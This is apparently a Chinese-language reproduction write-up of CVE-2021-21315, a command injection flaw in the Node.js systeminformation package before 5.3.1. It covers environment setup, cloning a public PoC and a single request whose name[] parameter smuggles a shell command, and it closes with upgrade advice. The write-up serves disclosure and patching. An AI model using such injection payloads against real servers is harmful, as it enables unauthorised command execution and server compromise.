漏洞简介
Node.js-systeminformation是用于获取各种系统信息的Node.JS模块,它包含多种轻量级功能,可以检索详细的硬件和系统相关信息。
2021年02月24日,npm团队发布安全公告,Node.js库中的systeminformation软件包中存在一个命令注入漏洞CVE-2021-21315,攻击者可以通过在未经过滤的参数中注入Payload来执行系统命令,最终获取服务器最高权限。
影响版本
Systeminformation < 5.3.1
漏洞信息
漏洞名称 | 漏洞编号 | 危害等级 |
---|---|---|
Linux sudoNode.js命令注入漏洞 | CVE-2021-21315 | 高危 |
CVSS评分 | 漏洞组件 | 受影响版本 |
7.8 | Node.js-systeminformation | Systeminformation < 5.3.1 |
环境搭建
- Linux操作系统(Ubuntu)
- nodejs(linux)
漏洞复现
1.Nodejs安装
Wget https://nodejs.org/dist/v12.18.4/node-v12.18.4-linux-x64.tar.xz
tar -xvf node-v12.18.4-linux-x64.tar.xz
mv node-v12.18.4-linux-x64 nodejs
sudo mv nodejs/ /usr/local/sbin/
sudo ln -s /usr/local/sbin/nodejs/bin/node /usr/local/bin/
sudo ln -s /usr/local/sbin/nodejs/bin/npm /usr/local/bin/
2.POC下载
git clone git://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC
3.nodejs起http
node index.js
4.执行poc
http://192.168.32.161:8000/api/getServices?name[]=$(echo -e ‘NULL’ > 1.txt)
漏洞修复
- 建议将 systeminformation 及时升级到 5.3.1 或更高版本